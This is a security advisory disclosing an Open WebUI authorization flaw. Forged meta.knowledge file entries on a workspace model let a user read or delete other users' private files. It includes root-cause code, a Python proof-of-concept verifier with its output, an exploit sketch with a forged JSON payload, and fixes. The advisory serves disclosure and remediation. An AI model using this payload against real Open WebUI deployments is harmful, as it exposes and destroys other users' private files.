Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion

Summary

Open WebUI lets a user who can create, update, or import workspace models store arbitrary meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in view_file tool reads the file's extracted text, and has_access_to_file()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker needs the workspace.models or workspace.models_import permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:

• read the file's extracted text (up to 100000 characters per view_file call from file.data.content),
• read the file's content via GET /api/v1/files/{id}/content, and
• delete the file via DELETE /api/v1/files/{id}.

Root Cause

ModelMeta allows extra metadata fields and ModelForm accepts that metadata without a validator for meta.knowledge file access:

# backend/open_webui/models/models.py
class ModelForm(BaseModel):
    model_config = ConfigDict(extra='ignore')

    id: str
    base_model_id: Optional[str] = None
    name: str
    meta: ModelMeta
    params: ModelParams

Model creation only checks the caller's model-workspace permission and then stores the form data:

# backend/open_webui/routers/models.py
if user.role != 'admin' and not await has_permission(
    user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db
):
    raise HTTPException(...)

model = await Models.insert_new_model(form_data, user.id, db=db)

The insert sink persists the supplied meta:

# backend/open_webui/models/models.py
result = Model(
    **{
        **form_data.model_dump(exclude={'access_grants'}),
        'user_id': user_id,
        ...
    }
)

When built-in tools are assembled, meta.knowledge is passed through as __model_knowledge__, and any file entry enables view_file:

# backend/open_webui/utils/tools.py
model_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])
...
knowledge_types = {item.get('type') for item in model_knowledge}
if 'file' in knowledge_types or 'collection' in knowledge_types:
    builtin_functions.append(view_file)

view_file treats matching __model_knowledge__ file IDs as authorization, before has_access_to_file():

# backend/open_webui/tools/builtin.py
if (
    file.user_id != user_id
    and user_role != 'admin'
    and not any(
        item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or [])
    )
    and not await has_access_to_file(...)
):
    return json.dumps({'error': 'File not found'})

The same forged meta.knowledge is also trusted outside the tool path. has_access_to_file() iterates the caller's accessible models and returns true when a model's meta.knowledge contains the requested file ID:

# backend/open_webui/utils/access_control/files.py
for model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):
    knowledge_items = getattr(model.meta, 'knowledge', None) or []
    for item in knowledge_items:
        if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:
            return True

This branch is not restricted to read, so it also satisfies the write check that DELETE /api/v1/files/{id} performs. The same missing validation applies to the import path (POST /api/v1/models/import) and the update path, not only create.

PoC

#!/usr/bin/env python3
"""
Verifier for forged model meta.knowledge file entries reaching builtin tools.

The proof executes:
  - the real Models.insert_new_model() sink with a forged meta.knowledge entry
  - the real builtin view_file() authorization branch

Fake DB/model adapters are used only to avoid requiring a live Open WebUI
server. The security-sensitive code under test is Open WebUI application code.
"""

from __future__ import annotations

import asyncio
import ast
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace

REPO = Path(__file__).resolve().parents[1]
BUILTIN_TOOLS = REPO / "backend/open_webui/tools/builtin.py"


def prepare_imports() -> None:
    sys.path.insert(0, str(REPO / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeDb:
    def __init__(self):
        self.added = []
        self.committed = False
        self.refreshed = False

    def add(self, row):
        self.added.append(row)

    async def commit(self):
        self.committed = True

    async def refresh(self, row):
        self.refreshed = True


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def verify_model_insert_accepts_victim_file(victim_file_id: str):
    import open_webui.models.models as models_module

    fake_db = FakeDb()
    original_context = models_module.get_async_db_context
    original_set_grants = models_module.AccessGrants.set_access_grants
    original_to_model = models_module.Models._to_model_model

    async def fake_set_access_grants(*args, **kwargs):
        return True

    async def fake_to_model(self, model, access_grants=None, db=None):
        return SimpleNamespace(
            id=model.id,
            user_id=model.user_id,
            base_model_id=model.base_model_id,
            name=model.name,
            params=model.params,
            meta=model.meta,
            access_grants=[],
            is_active=model.is_active,
            created_at=model.created_at,
            updated_at=model.updated_at,
        )

    try:
        models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        models_module.AccessGrants.set_access_grants = fake_set_access_grants
        models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)

        inserted = await models_module.Models.insert_new_model(
            models_module.ModelForm(
                id="attacker-model",
                base_model_id="gpt-vision-base",
                name="Attacker Model",
                params={},
                meta={
                    "knowledge": [
                        {
                            "id": victim_file_id,
                            "type": "file",
                            "name": "victim-private.txt",
                        }
                    ],
                    "builtinTools": {"knowledge": True},
                },
            ),
            user_id="attacker",
        )
    finally:
        models_module.get_async_db_context = original_context
        models_module.AccessGrants.set_access_grants = original_set_grants
        models_module.Models._to_model_model = original_to_model

    stored_meta = [getattr(row, "meta", None) for row in fake_db.added]
    stored_knowledge_ids = [
        item.get("id")
        for meta in stored_meta
        for item in ((meta or {}).get("knowledge") or [])
    ]

    return {
        "insert_returned_model": bool(inserted),
        "db_commit_called": fake_db.committed,
        "stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
        "stored_model_ids": [getattr(row, "id", None) for row in fake_db.added],
        "stored_knowledge_file_ids": stored_knowledge_ids,
    }


async def verify_view_file_trusts_model_knowledge(victim_file_id: str):
    class FakeFiles:
        looked_up_ids = []

        async def get_file_by_id(self, file_id, db=None):
            self.looked_up_ids.append(file_id)
            if file_id == victim_file_id:
                return SimpleNamespace(
                    id=victim_file_id,
                    user_id="victim",
                    filename="victim-private.txt",
                    data={"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET"},
                    created_at=1,
                    updated_at=2,
                )
            return None

    async def fake_has_access_to_file(file_id, access_type, user, db=None):
        return False

    class FakeUserModel:
        def __init__(self, **kwargs):
            self.__dict__.update(kwargs)

    fake_files = FakeFiles()
    fake_files_module = types.SimpleNamespace(Files=fake_files)
    fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)

    original_files_module = sys.modules.get("open_webui.models.files")
    original_acl_module = sys.modules.get("open_webui.utils.access_control.files")

    try:
        sys.modules["open_webui.models.files"] = fake_files_module
        sys.modules["open_webui.utils.access_control.files"] = fake_file_acl_module

        source = BUILTIN_TOOLS.read_text(encoding="utf-8")
        tree = ast.parse(source, filename=str(BUILTIN_TOOLS))
        selected = [
            node
            for node in tree.body
            if isinstance(node, ast.AsyncFunctionDef) and node.name == "view_file"
        ]
        if len(selected) != 1:
            raise RuntimeError("could not find view_file")
        module = ast.Module(body=selected, type_ignores=[])
        ast.fix_missing_locations(module)
        ns = {
            "json": json,
            "Optional": __import__("typing").Optional,
            "Request": object,
            "UserModel": FakeUserModel,
            "log": SimpleNamespace(exception=lambda *args, **kwargs: None),
            "MAX_VIEW_FILE_CHARS": 100_000,
            "DEFAULT_VIEW_FILE_MAX_CHARS": 10_000,
        }
        exec(compile(module, str(BUILTIN_TOOLS), "exec"), ns)
        view_file = ns["view_file"]

        denied_without_model_knowledge = await view_file(
            victim_file_id,
            __request__=SimpleNamespace(),
            __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
            __model_knowledge__=[],
        )
        allowed_with_model_knowledge = await view_file(
            victim_file_id,
            __request__=SimpleNamespace(),
            __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
            __model_knowledge__=[{"id": victim_file_id, "type": "file"}],
        )
    finally:
        if original_files_module is not None:
            sys.modules["open_webui.models.files"] = original_files_module
        else:
            sys.modules.pop("open_webui.models.files", None)
        if original_acl_module is not None:
            sys.modules["open_webui.utils.access_control.files"] = original_acl_module
        else:
            sys.modules.pop("open_webui.utils.access_control.files", None)

    denied = json.loads(denied_without_model_knowledge)
    allowed = json.loads(allowed_with_model_knowledge)
    return {
        "file_ids_looked_up": fake_files.looked_up_ids,
        "without_model_knowledge": denied,
        "with_forged_model_knowledge": allowed,
        "private_content_disclosed": allowed.get("content") == "PRIVATE_MODEL_KNOWLEDGE_SECRET",
    }


async def main() -> None:
    prepare_imports()
    victim_file_id = "victim-private-file"

    insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)
    tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)

    result = {
        "confirmed": (
            insert_sink["insert_returned_model"] is True
            and insert_sink["stored_user_ids"] == ["attacker"]
            and insert_sink["stored_knowledge_file_ids"] == [victim_file_id]
            and tool_read["without_model_knowledge"].get("error") == "File not found"
            and tool_read["private_content_disclosed"] is True
        ),
        "attacker_user_id": "attacker",
        "victim_user_id": "victim",
        "victim_file_id": victim_file_id,
        "attacker_owns_file": False,
        "model_insert_sink": insert_sink,
        "tool_read": tool_read,
        "source": {
            "insert_sink": "backend/open_webui/models/models.py:Models.insert_new_model",
            "tool_injection": "backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__",
            "read_sink": "backend/open_webui/tools/builtin.py:view_file",
        },
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    if not result["confirmed"]:
        raise SystemExit(1)


if __name__ == "__main__":
    asyncio.run(main())

The PoC executes the real Models.insert_new_model() sink and the real view_file() authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in meta.knowledge, then confirms view_file() denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.

Result:

{
  "attacker_owns_file": false,
  "attacker_user_id": "attacker",
  "confirmed": true,
  "model_insert_sink": {
    "db_commit_called": true,
    "insert_returned_model": true,
    "stored_knowledge_file_ids": [
      "victim-private-file"
    ],
    "stored_model_ids": [
      "attacker-model"
    ],
    "stored_user_ids": [
      "attacker"
    ]
  },
  "tool_read": {
    "private_content_disclosed": true,
    "with_forged_model_knowledge": {
      "content": "PRIVATE_MODEL_KNOWLEDGE_SECRET",
      "filename": "victim-private.txt",
      "id": "victim-private-file"
    },
    "without_model_knowledge": {
      "error": "File not found"
    }
  },
  "victim_file_id": "victim-private-file",
  "victim_user_id": "victim"
}

Exploit Sketch

1. Attacker has permission to create or update workspace models.
2. Attacker creates a model with:

{
  "meta": {
    "knowledge": [
      {
        "id": "VICTIM_FILE_ID",
        "type": "file",
        "name": "victim-private.txt"
      }
    ],
    "builtinTools": {
      "knowledge": true
    }
  }
}

3. Attacker chats with that model using native/built-in tools and invokes view_file for VICTIM_FILE_ID.
4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.

Recommended Fix

Validate meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or has_access_to_file(file_id, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.

Do not let view_file() treat __model_knowledge__ as an authorization bypass; it should still enforce ownership/admin/has_access_to_file() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same model meta.knowledge file-ID laundering flaw:

• Read via forged meta.knowledge on model create, through the built-in view_file tool: @0xEr3n (earliest filing).
• Distinct paths demonstrated by @5yu4n: the import endpoint (POST /api/v1/models/import), and cross-user read and deletion through the file API (GET / DELETE /api/v1/files/{id}) via has_access_to_file()'s model branch.

Fix validates meta.knowledge ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.